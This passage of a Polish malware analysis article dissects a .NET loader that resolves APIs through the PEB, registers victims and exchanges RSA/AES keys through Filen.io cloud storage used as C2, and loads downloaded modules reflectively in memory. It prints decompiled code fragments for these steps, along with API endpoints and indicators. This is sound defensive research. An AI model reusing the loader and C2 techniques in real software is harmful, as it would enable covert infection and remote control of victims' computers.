W tej części artykułu opiszemy następujące funkcje malware i etapy ataku:
- Zastosowanie PEB do rozwiązywania adresów API i uruchomienie złośliwego kodu napisanego w .NET
- Rejestracje zainfekowanego komputera z użyciem serwisu Filen
- Wymianę kluczy kryptograficznych
- Uruchamianie w pamięci kolejnych payloadów
Przeanalizujemy też zawartość serwera pośredniczącego.
Analizę skończyliśmy w momencie, gdy następowało wywołanie instrukcji call do kodu w nowo zaalokowanej przestrzeni pamięci. Z poprzedniego artykułu wiemy, że oprócz kodu wykonywalnego (payload), w pamięci znajdują się nazwy biblioteki i API oraz cały plik wykonywalny PE przeznaczony dla środowiska .NET.
Payload zawiera funkcję (offset 0xd od początku obszaru pamięci załadowanego payload) która m.in implementuje funkcjonalność GetProcAddress(). Z drugiego bloku danych załadowanych do pamięci pobierana jest nazwa biblioteki i funkcji, która ma być wywołana (co widać na poniższym zrzucie z debuggera). Następnie wywoływana jest funkcja (adres funkcji jest w rejestrze RAX).
Własna implementacja GetProcAddress() polega na odczytaniu struktury PEB (Process Environment Block). W PEB jest wskaźnik do listy załadowanych bibliotek LDR (Loader Data Table). Jest to częsta technika wykorzystywana przez twórców złośliwego oprogramowania do identyfikacji adresów API. Kod funkcji zawiera również obsługę sytuacji, gdy wskazany adres jest tylko wskaźnikiem do innego modułu. Wtedy szukany jest adres oryginalnej funkcji.
Następnie wewnątrz tego procesu jest uruchamiany kod z aplikacji znajdującej się w opisanym bloku 3 (patrz część 2 analizy). W tym momencie malware przechodzi z kodu natywnego do zarządzalnego, uruchamiając aplikacje .NET bez zapisu na dysku. Biblioteka mscoree.dll i funkcja CLR CreateInstance służy do uruchomienia środowiska .NET wewnątrz procesu natywnego, który wcześniej tego środowiska nie potrzebował.
Uruchamiany plik wykonywalny (jego oryginalna nazwa to Publish jest zaawansowanym loaderem. Mechanizmy kryptografii i komunikacji są bardzo dobrze przemyślane o czym przekonaliśmy się analizując jego poszczególne funkcje.
Nazwa: Publish
MD5: 6f528ad405bffa4a8c2f61b1fa2172fd
Rozmiar: 65 KB
Architektura: .NET
Istotna zewnętrzna biblioteka: bcrypt.dll
Po dekompilacji narzędziem ILSpy czy dnSpy możemy zauważyć, że kod jest obfuskowany. Nazwy klas czy zmiennych są obfuskowane. Z kolei wartości zmiennych - np. adresy URL są zakodowane XOR.
Struktura kodu składa się z dwóch klas najwyższego poziomu. Klasa główna (B2K40ZRJWZ) wykorzystuje strukturę klas zagnieżdżonych do obsługi poszczególnych modułów (funkcje sieciowe czy obsługa kryptografii), podczas gdy klasa pomocnicza (TDH3GX8WDW) jest statycznym dekoderem stringów.
Dla uproszczenia analizy zamieńmy w pierwszej kolejności wszystkie miejsca gdzie jest wywoływana klasa TDH3GX8WDW już odkodowanymi wartościami. Z github można pobrać gotowy skrypt (deobfuscate.py), który dekoduje i podmienia dane w głównej klasie. Klucz dekodujący to "NHJV9I5PC2"
Fragment kodu przed odkodowaniem:
public static string DIK3O9APBC = TDH3GX8WDW.CSD5JWUB2A("KylzZggoVjJuBXd5L3sNewFoblMtKS97XCsHZyAGKyt5Nwh9");
Fragment kodu po odkodowaniu.
public static string DIK3O9APBC = "ea901acb-791e-4248-acae-eb27c4ec3a14";
Metoda RHLOUZAT29 pełni rolę głównej pętli ładującej (loadera) złośliwego oprogramowania. Jej celem jest nawiązanie połączenia z serwerem pośredniczącym (w tym przypadku wykorzystującym infrastrukturę chmurową serwisu Filen.io), pobranie zaszyfrowanego ładunku (payloadu), odszyfrowanie go i uruchomienie w pamięci bez zapisywania na dysku. Odpowiada również za rejestracje, wymianę kluczy kryptograficznych i przesyłanie zaszyfrowanych danych. Funkcja ta jest wywoływana co 35 sekund.
Należy dodać, że atakujący wybrali serwery serwisu filen do pośredniczenia w sterowaniu zainfekowanymi hostami. Zarówno ofiary (zainfekowane komputery) jak i atakujący łączą się do serwerów serwisu filen i wymieniają między sobą zaszyfrowane pliki. Schemat można przedstawić jak na poniższym diagramie.
Ofiara <---> Filen.io <---> Atakujący
Rejestracja zainfekowanego hosta
Po zainicjowaniu protokołu sieciowego TLS, malware generuje unikalny identyfikator ID (możemy to ID traktować jako Bot ID). Poniżej fragment kodu odpowiadający za generacje ID. ID budowany jest z nazwy domeny, użytkownika i dodawana jest stała wartość (Pre Shared Secret - klucz zapisany w kodzie z malware), następnie generowany jest hash MD5 i ładowany jest do struktury GUID a wynik skracany do 10 znaków.
string text = TDH3GX8WDW.CSD5JWUB2A("");
text += Environment.UserDomainName;
text += Environment.UserName;
text += V7QYUS7252;
MD5 md = MD5.Create();
byte[] bytes = Encoding.Default.GetBytes(text);
byte[] b = md.ComputeHash(bytes);
Guid guid = new Guid(b);
result = guid.ToString().Replace("-", TDH3GX8WDW.CSD5JWUB2A("")).Substring(0, 10);
Następnie generowana jest para kluczy RSA. Klucz publiczny będzie wysłany do atakującego. Klucze RSA są wykorzystywane między innymi do wymiany kluczy sesji. Klucz sesji to klucz AES używany do szyfrowania danych przesyłanych pomiędzy zainfekowanym komputerem a atakującym.
Mając klucz publiczny i ID przygotowywany jest pierwszy “raport”. Format jest poniżej:
[RSA_XML_PUB_KEY],[BOT_ID]
Możemy zauważyć, że na tym etapie rejestracji (nazwijmy go etapem 0) używana jest wartość 0 w nazwie tworzonego pliku zawierającego w/w dane. Rozszerzenie pliku to .bin.
string str2 = ".bin";
tvbj06TLO.K1W77U0GUD(d00CD64G, text2 + " 0" + str2);
Zanim pierwszy plik zostanie wysłany do serwera aplikacja sprawdza czy powstał katalog dla Bot ID. Jeśli nie, to jest najpierw stworzony. Poniżej wywołanie tej metody.
new B2K40ZRJWZ.TVBJ06TLO2(APIKEY, AESKEY, .root_directory, BOT_ID, 8);
Te dane są niezbędne do nawiązania poprawnego połączenia i bezpiecznej wymiany danych zgodnie ze standardem usługi Filen. Dostawca usługi na swojej stronie ma następujące hasło: “Reliable zero-knowledge, client-side encrypted cloud storage you can trust. Experience uncompromised security without sacrificing functionality.“. Oznacza to, że w teorii na serwerze są trzymane zaszyfrowane dane, których dostawca usługi nie odczyta. Znajomość API dostawcy usługi będzie nam potrzebna do zrozumienia mechanizmów wymiany plików ale też do odszyfrowania danych z serwera (gdyż posiadamy klucz, którym zaszyfrowane są dane).
Przed wysłaniem danych, za pomocą DataContractJsonSerializer tworzony jest plik JSON a następnie wykonywana jest operacja XOR. Generowane jest 128 losowych bajtów jako klucz. Klucz jest dodawany przez zakodowanym “raportem”. Następnie dane są szyfrowane z pomocą algorytmu AES256 (metoda HQDW2MMOKI) gdzie kluczem jest hash MD5 z root_directory (jest to też UUID folderu). Ostatnia wersja szyfrowania to AES z kluczem losowym pliku - aby zachować zgodność ze standardem Filen.
Na końcu dane wysyłane są na serwer (metoda K1W77U0GUD). W kodzie analizowanej aplikacji zaimplementowane są wywołania API obsługiwane przez serwery Filen.
W celu wysłania pliku wykonywane są 3 zapytania:
- POST "https://gateway.filen.io/v3/file/upload/create". W odpowiedzi otrzymujemy UUID sesji, nazwę bucketu i region.
- POST "https://ingest.filen.io/de-1/filen-1867960/UUID" (tutaj dołączany jest plik)
- POST "https://gateway.filen.io/v3/file/upload/done"
Wiemy, że w kodzie aplikacji zaszyty jest też API KEY oraz tzw. root directory. Co ciekawe atakujący używali malware z kilkoma różnymi konfiguracjami (inny APIKEY, root directory i klucz AES). Nie mając dostępu do wszystkich konfiguracji trudno jest określić skalę ataku. Na końcu przedstawiamy statystyki dla analizowanej próbki.
Poniżej ten fragment kodu (opisany powyżej):
Wymiana kluczy
Po wysłaniu klucza publicznego, malware oczekuje na odpowiedź serwera (metoda ZH6ROPFW27). Pobrany plik (odpowiedź atakującego) zawiera nowy, unikalny klucz sesji AES. Co kluczowe, odpowiedź ta została zaszyfrowana kluczem publicznym RSA ofiary. Malware używa swojego klucza prywatnego (przechowywanego tylko w pamięci RAM), aby odszyfrować wiadomość i wydobyć nowy klucz sesyjny, który posłuży do szyfrowania kolejnych etapów komunikacji.
Aby upewnić się, że rozmawia z właściwym serwerem, generuje losowe "challenge" (4 bajty - nonce), szyfruje je nowym kluczem sesji, i wysyła jako plik 1.bin.
Następnie malware pobiera odpowiedź serwera i sprawdza, czy odszyfrowane pierwsze cztery bajty są identyczne z tymi wysłanymi wcześniej, co potwierdza autentyczność drugiej strony. Po udanej weryfikacji malware pobiera kolejne cztery bajty (wyzwanie zwrotne serwera), szyfruje je i odsyła jako plik 2.bin, finalizując proces wzajemnego uwierzytelniania. Gdy bezpieczny kanał jest w pełni zestawiony, malware przechodzi w nieskończoną pętlę operacyjną, w której odbiera komendy i pliki wykonywalne. W ten sam sposób wysyła też wyniki. Przykładowa zawartość plików będzie pokazana w dalszej części artykułu.
Uruchamianie innych modułów malware pobieranych z serwera
Poniżej znajduje się ostatnia, najważniejsza część złośliwego kodu:
byte[] f50XRP5BX5 = this.K42FBSWZWZ(x18KIPAKYV, f50XRP5BX4); //dekoduj zawartość kluczem sesji
Assembly assembly = B2K40ZRJWZ.WSL3348Q6K(f50XRP5BX5); //załaduj bibliotekę DLL bezpośrednio z pamięci
MethodInfo o5RRGH2L1S = this.FTR558XNF2(assembly.GetTypes(), "Invite"); //szukaj entry point - Invite
Delegate @delegate = this.QP0VXU12WL(o5RRGH2L1S, typeFromHandle); //wskaźnik do Invite
((Action<string, string, string, string, Aes>)@delegate)(APIKEY, AESKEY, root_directory, text2, x18KIPAKYV.LO9O0Q1NEV); //przekazuje najważniejsze parametry które pozwolą na komunikację.
}
W tym fragmencie wykorzystywana jest technika Reflection. Jest to mechanizm środowiska .NET zamieniający odbierane dane na kod wykonywalny. Wywołana jest metoda Assembly.Load. Następnie wyszukiwana jest metoda Invite w załadowanym module. Invite to ustalony przez atakującego entry point. Wskaźnik delegate pozwala wywołać tę metodę jako funkcje w kodzie uruchomionego malware. Następnie przekazywane są najważniejsze parametry - obiekt klasy AES zawierający m.in. APIKEY, klucz sesji, AESKEY i root directory. Jest to potrzebne aby nowy kod malware dalej mógł komunikować się z serwerem pośredniczącym.
Root directory na serwerze pośredniczącym
Wspominaliśmy, że malware sprawdza zawartość katalogu na serwerze pośredniczącym. Używając poniższego zapytania możemy wyświetlić jego całą zawartość.
- POST https://gateway.filen.io/v3/dir/content
Zwracane są dane w postaci:
folders":[{"uuid":"2448cfe3-ca29-4b88-a775-44214144b6b4","name":"002COVz86A7uhGcmvdtNh+FZhm50AZ+YBYSXpvBN6Cr8uFRiAJxrvFnZAHpfum1mQ==","parent":"ea901acb-791e-4248-acae-eb27c4ec3a14","color":null,"timestamp":1769918476,"favorited":0,"is_sync":0,"is_default":0},
To pozwala nam na sprawdzenie ile komputerów było skompromitowanych za pomocą tej próbki malware. Pobierzemy też dostępne pliki z katalogów.
Poniżej wynik - od 29 stycznia do 4 lutego 2026 było zarejestrowanych 85 zainfekowanych hostów.
=====================================================================================
# | DATA INFEKCJI (UTC) | TIMESTAMP | FOLDER UUID
-------------------------------------------------------------------------------------
1 | 2026-01-29 15:14:54 | 1769696094 | b24695be-edb8-42a1-a2a3-f3e39f98ace5
2 | 2026-01-29 18:55:11 | 1769709311 | 3e7dc05d-7b75-4622-a2e9-3e314b5bb246
3 | 2026-01-30 09:51:26 | 1769763086 | c81756e7-e51f-491e-a3d6-d56b0761dd2a
4 | 2026-01-30 11:57:01 | 1769770621 | 766c1074-5982-40fc-aa81-6a042034d27d
5 | 2026-01-30 12:14:49 | 1769771689 | 61fe2145-2bc6-435f-a7cb-1ad9f2ce08db
6 | 2026-01-30 12:48:24 | 1769773704 | 87103c6e-327b-4d12-a057-992a57c79101
7 | 2026-01-30 13:22:57 | 1769775777 | acdd85d8-0344-4d57-a471-55f530f365fb
8 | 2026-01-30 16:18:27 | 1769786307 | 7208188e-ec69-4727-a8cd-cca0445d0c35
9 | 2026-01-30 17:39:56 | 1769791196 | b02f331e-18d7-41ea-a67a-d0e285fa3232
10 | 2026-01-30 19:32:36 | 1769797956 | ef3cb6a4-128b-45c1-ab2d-01680ef0daca
…
85 | 2026-02-04 23:44:10 | 1770245050 | 44599a3b-ad3d-4ad1-a0c7-cb037a9181be
Mając wartości UUID możemy wyświetlać zawartość katalogów. Poniżej przykład zawartości katalogu c81756e7-e51f-491e-a3d6-d56b0761dd2a. Najważniejsze elementy to ID pliku, lokalizacja i nazwa bucketu. To pozwala nam na pobranie plików wymienianych pomiędzy atakującym a innymi instancjami malware.
{"status":true,"message":"Folder content fetched.","code":"folder_content_fetched","data":{"uploads":[{"uuid":"4f42221f-aaad-43cf-ac3c-0332c7022b73","metadata":"002ax1IIPFfCV7AjWTEr2XgbR1uNVtY/UY4Tda85ZsjiSZqxt9SS/guBPKjJUFpETTpkh8qZyY3x+QCMmfgatioqtJejC08KmUFt5IRxl2DhHm+m1xD+OX4M/grj4Zitkn3ZLLj2ROrGid8gz+HI9afYNYL+/IiIoLbfwMUWFH9143EoO6CJBnE6gCjLrBhSzOfem72hKEMkyYERe1OY3h9yDLc7VQ/ObPgUWAA9S1wiIHXDgJtvcCw0zAnyQ==","rm":"BjgQsmfgbJXMTu1n9I55IbxdaGJJJrgu","timestamp":1769763118,"chunks":1,"size":432,"bucket":"filen-5035800","region":"de-1","parent":"c81756e7-e51f-491e-a3d6-d56b0761dd2a","version":2,"favorited":0}],"folders":[]}}
Możemy też z metadanych (po odszyfrowaniu) odczytać nazwę pliku.
{"creation":1769763116392,"key":"mzEjA9Fbz5blOYrdaLYpur4smitSo5Y9","lastModified":1769763116392,"mime":"application\/octet-stream","name":"ruGAVX.dmg","size":432}
W tym przypadku plik ma rozszerzenie .dmg. Nie jest to faza rejestracji a regularna wymiana informacji. Rozszerzenie pliku zgodnie jest z definicją znalezioną w kodzie malware. Pliki mogą mieć następujące rozszerzenia:
private static string[] OMUG1R7ISV = new string[]
{
".bin",
".class",
".dmg",
".img",
".iso",
".pak",
".pdb",
".pkg",
".rar",
".tar",
".xz",
".z",
".zip"
};
Pliki pobieramy za pomocą GET zgodnie z poniższym przykładem:
- GET "https://egest.filen.io/de-1/filen-5035800/4f42221f-aaad-43cf-ac3c-0332c7022b73/0" \
Zawartość pobranego pliku:
Pamiętamy, że pliki w serwisie Filen są szyfrowane AES - z metadanych mogliśmy uzyskać klucz. W powyższym pliku pierwsze 12 bajtów to IV - wektor inicjalizujący. Odszyfrowany wynik wymaga ponownego odszyfrowania (teraz używamy klucza AES odtworzonego z wyniku funkcji MD5(root_directory)). Po ponownym odszyfrowaniu poza zakodowanym payload mamy też ID - dla poniższego przykładu wartość to b05f5ef0c1
1dUzLzaq6/+r2Xxg57KptFD0fZHhgcB8Ag94bEAAofoi/0lFiRCxACcNugjBY0LdKm2wcTCArVMUtywnMX+/qjeBPedoYypAQ31q1Me3up/MmkHTTy/KolL1MNLkis6oTQ/RQCVbdcZCcC2yFdmMXPyNWpY97FoHtpuVcjNXXLmu93R6f+7JxYm7TFWBh8zSYJdMs82jlAVyalpWcSyDt0eLKGezMpMsBUTsKvtBO/JCKYgABMvjFyTTfGhhCM/aYehrkFVeCGxhOAS3tc7K66n+DLY8XKvFN9cK8NfInJB8Of53Qi0xi3o5RsRi7PgGpepnqx/AeE/72tZQCXUt6L2mAndHmL2q7IomK4WB2tditTXmjeumFWFECFsMdMaRZJd5Dt1d0nFIMJh1,b05f5ef0c1
Po odkodowaniu XOR payload, otrzymujemy następujący JSON:
{"GUID":"b05f5ef0c1","Type":1,"Meta":"","IV":"y/hD8q4KND0dPOPwppViVw==","EncryptedMessage":"3BR816/7gvDM8Ikvw5tZYg==","HMAC":"qQhs1Xq2VUGSZKb3sc2AHwljficKp7LtgkFh0KTMcqo="}
W kodzie aplikacji ta struktura opisana jest konstruktorem N8STCV1P76.
Poza GUID mamy też informacje, że jest to wiadomość Type 1. Jest też zaszyfrowana kluczem sesji wiadomość - EncryptedMessage. Wiadomość jest stosunkowo krótka, więc najprawdopodobniej jest to rodzaj statusu/heartbeatu.
Podsumowanie
Analizowany kod jest zaawansowanym loaderem. Jego główne cechy to wielowarstwowe szyfrowanie (szyfrowanie usługi filen, różne klucze sesji AES i klucz asymetryczny RSA) oraz pobieranie i uruchamianie w pamięci plików wykonywalnych. Konstrukcja malware oraz komunikacji wskazuje, że każdy etap infekcji był dokładnie przemyślany przez atakujących.
Linki:
[1] https://github.com/Prevenity/malware_scripts



















